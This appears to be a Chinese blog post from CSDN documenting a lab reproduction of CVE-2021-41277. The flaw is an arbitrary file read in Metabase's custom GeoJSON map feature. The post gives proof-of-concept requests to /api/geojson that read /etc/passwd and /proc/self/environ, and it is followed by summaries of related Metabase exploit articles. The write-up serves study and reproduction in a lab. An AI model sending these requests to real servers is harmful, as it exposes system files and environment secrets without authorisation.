metabase-cve_2021_41277

最新推荐文章于 2024-08-12 10:05:00 发布
最新推荐文章于 2024-08-12 10:05:00 发布
阅读量272 收藏
点赞数 1
分类专栏： vulfovus 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_49025459/article/details/128430246
版权
Metabase存在一个信息泄露漏洞，由于在admin->settings->maps->custommaps->addamap操作中缺少权限验证，攻击者可能通过此漏洞获取敏感信息，如读取/etc/passwd或环境变量。CNNVD将其评定为超危级别，CVE编号为CVE-2021-41277。复现漏洞需要注册账号并利用/api/geojson接口。修复此问题对于保障数据安全至关重要。
摘要由CSDN通过智能技术生成

漏洞信息

Metabase是美国Metabase公司的一个开源数据分析平台。

Metabase 中存在信息泄露漏洞，该漏洞源于产品的 admin-＞settings-＞maps-＞custom maps-＞add a map 操作缺少权限验证。攻击者可通过该漏洞获得敏感信息。

CNNVD编号：CNNVD-202111-1565
危害等级： 超危
CVE编号： CVE-2021-41277
简述: 在受影响的版本中，自定义GeoJSON地图(' admin->settings->maps->custom maps->add a map ')存在本地文件包含(包括环境变量)漏洞，url在加载之前没有经过验证，攻击者利用该漏洞能够读取任意文件。

漏洞复现

进入靶场环境

注册一个账号，跳过数据库

 进入如下界面

 poc

/api/geojson?url=file:etc/passwd

但是有的前端解析是乱码，也可以抓包之后进行操作

/api/geojson?url=file:///proc/self/environ

 

仲瑿
关注
专栏目录
Metabase 敏感信息泄露漏洞复现（CVE-2021-41277）
千寻的博客
12-20 1848
文章目录漏洞描述漏洞编号FOFA 查询影响范围修复版本：环境搭建漏洞复现漏洞修复摘抄 漏洞描述 metabase 是一个简单、开源的数据分析平台。 在受影响的版本中，自定义 GeoJSON 地图（admin->settings->maps->custom maps->add a map）操作缺少权限验证 攻击者可通过该漏洞获得敏感信息。 漏洞编号 CVE-2021-41277 FOFA 查询 app=”metabase” 影响范围 metabase version &lt
Metabase 远程代码执行(CVE-2023-38646)
失心少年
07-30 549
Metabase是一款开源数据分析及可视化工具。它可允许用户连接至各种不同类型数据源，未经身份认证的攻击者可利用本漏洞在服务器上以运行 Metabase服务器的权限进行任意命令执行。
CVE-2023-38646：Metabase远程命令执行漏洞
Rockboy777的博客
09-06 313
Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。漏洞编号：CVE-2023-38646Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一个漏洞，允许攻击者在服务器的权限级别上执行任意命令，利用时不需要身份验证。
cve_2021_41277
qq_53086690的博客
11-21 586
cve_2021_41277 Metabase概述 Metabase可以帮助你把数据库中的数据更好的呈现给更多人，数据分析人员通过建立一个”查询“（Metabase中定义为Question）来提炼数据，再通过仪表盘（Dashboards）来组合展示给公司成员 漏洞影响版本 metabase version < 0.40.5 metabase version >= 1.0.0, < 1.40.5 漏洞概述 该漏洞的某个地址存在未授权访问，并且能够进行任意文件的读取 漏洞复现 对存在该漏洞的
漏洞复现-Metabase 远程代码执行漏洞(CVE-2023-38646)
最新发布
玄道的网安博客
08-12 1049
根据pyn3rd师傅分享的https://blog.pyn3rd.com/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/可以知道，可以通过以下三种方式攻击H2数据库。，按照官方预设的流程，一般来说其只能存在一次，在安装结束之后便会清除,但是官方完成安装后移除setup-token 这个重要的的操作给移除了。是Java中用于执行脚本的引擎，只要代码的最开头是 //javascript ，就会被认为是JavaScript脚本，并编译和执行。利用时不需要身份验证。
Metabase CVE-2021-41277 信息泄露漏洞复现
小小猪的博客
12-04 480
Metabase CVE-2021-41277 信息泄露漏洞复现 漏洞简介: Metabase是美国Metabase公司的一个开源数据分析平台。 Metabase 中存在信息泄露漏洞，该漏洞源于产品的 admin-＞settings-＞maps-＞custom maps-＞add a map 操作缺少权限验证。攻击者可通过该漏洞获得敏感信息。 FOFA搜索app="Metabase": POC {{BaseURL}}/api/geojson?url=file:/etc/passwd .
CVE-2021-41277——Metabase 信息泄露漏洞
热门推荐
LiBai'S BLOG
11-21 1万+
Metabase 信息泄露漏洞漏洞简介FOFA语法EXP漏洞测试漏洞修复 漏洞简介 Metabase是美国Metabase公司的一个开源数据分析平台。 Metabase 中存在信息泄露漏洞，该漏洞源于产品的 admin-＞settings-＞maps-＞custom maps-＞add a map 操作缺少权限验证。攻击者可通过该漏洞获得敏感信息。 CNNVD编号：CNNVD-202111-1565 危害等级： 超危 CVE编号： CVE-2021-41277 FOFA语法 app="Metabase
Metabase geojson 任意文件读取漏洞 CVE-2021-41277
不光要学，知识要能说出口
11-21 5278
CVE-2021-41277 goby exp声明代码 声明 本程序仅供于学习交流，请使用者遵守《中华人民共和国网络安全法》，勿将此脚本用于非授权的测试，脚本开发者不负任何连带法律责任。 代码 { "Name": "Metabase Geojson Arbitrary File Read CVE-2021-41277", "Level": "3", "Tags": [ "fileread" ], "GobyQuery": "
利用CVE-2021-40444漏洞钓鱼执法上线MSF
include_voidmain的博客
03-31 3303
0x01 漏洞描述 2021年9月8日，微软官方发布了关于MSHTML组件的风险通告（漏洞编号：CVE-2021-40444），未经身份验证的攻击者可以利用该漏洞在目标系统上远程执行代码。微软官方表示已经监测到该漏洞存在在野利用。 Microsoft 发现，存在尝试通过特别设计的 Microsoft Office 文档利用此漏洞的针对性攻击。攻击者可制作一个由托管浏览器呈现引擎的 Microsoft Office 文档使用的恶意 ActiveX 控件。然后，攻击者必须诱使用户打开此恶意文件。 0x02 漏洞
【漏洞复现】Metabase 远程命令执行漏洞(CVE-2023-38646)
做自己喜欢的事，并将其发挥到极致！
08-03 4903
Metabase是美国Metabase公司的一个开源数据分析平台。Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞，该漏洞源于允许攻击者以服务器的权限级别在服务器上执行任意命令。
Metabase RCE漏洞复现(CVE-2023-38646)
0xSec
07-29 3667
未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行Metabase服务器的权限执行任意命令。
CVE-2021-41277(metebase信息泄漏漏洞复现)
haoaaao的博客
04-26 1872
0x00 前置知识 1、metebase metabase是一款开源的BI分析工具，开发语言clojure+React为主、也有高阶的收费版。 官网：Metabase | Business Intelligence, Dashboards, and Data Visualization可以利用Metabase进行数据分析，数据可视化，报表生成等。 Metabase介绍_Sshine___的博客-CSDN博客_metabase 2、影响版本： metabase v...
Metabase任意文件读取漏洞（CVE-2021-41277）
一枚不知名的Java程序猿
10-03 1641
CVE-2021-41277漏洞复现
2024年网络安全山东省赛-SMB信息收集解析（中职组）_使用访问工具对服务器服务访问,将服务器中管理员桌面的文本文档里的内容作为 flag
2401_84252281的博客
04-26 976
任务环境说明：服务器场景：Server1。
漏洞分析｜Metabase 代码执行漏洞（CVE-2023-38646）：H2 JDBC 深入利用
m0_46699477的博客
07-28 1927
利用 TRIGGER + DefineClass 完整的实现了 JAVA 代码执行和漏洞回显。
【漏洞复现-metabase-文件包含】vulfocus/metabase-cve_2021_41277
10-15 715
【metabase-文件包含】
Metabase 信息泄露漏洞（CVE-2021-41277）——漏洞复现
W小哥
11-24 3047
一、漏洞简介 metabase 是一个简单、开源的数据分析平台。 CVE-2021-41277 在受影响的版本中，自定义 GeoJSON 地图（admin->settings->maps->custom maps->add a map）操作缺少权限验证，攻击者可通过该漏洞获得敏感信息。 该漏洞CVSS评分：9.9，危害等级：严重 二、影响版本 影响版本： metabase version < 0.40.5 metabase version >= 1.0.0, < 1
Goby 漏洞发布｜Metabase JDBC 远程代码执行漏洞（CVE-2023-38646）
m0_46699477的博客
07-28 1015
Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞，可导致攻击者在服务器上以运行 Metabase 服务器的权限执行任意代码。
Metabase开发环境配置指南
"metabase开发环境搭建" Metabase是一款开源的企业级数据查询和分析工具，它提供了简单易用的界面，使得非技术人员也能轻松地进行数据分析。本资源主要介绍了如何搭建Metabase的开发环境，包括前端和后端的技术栈...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值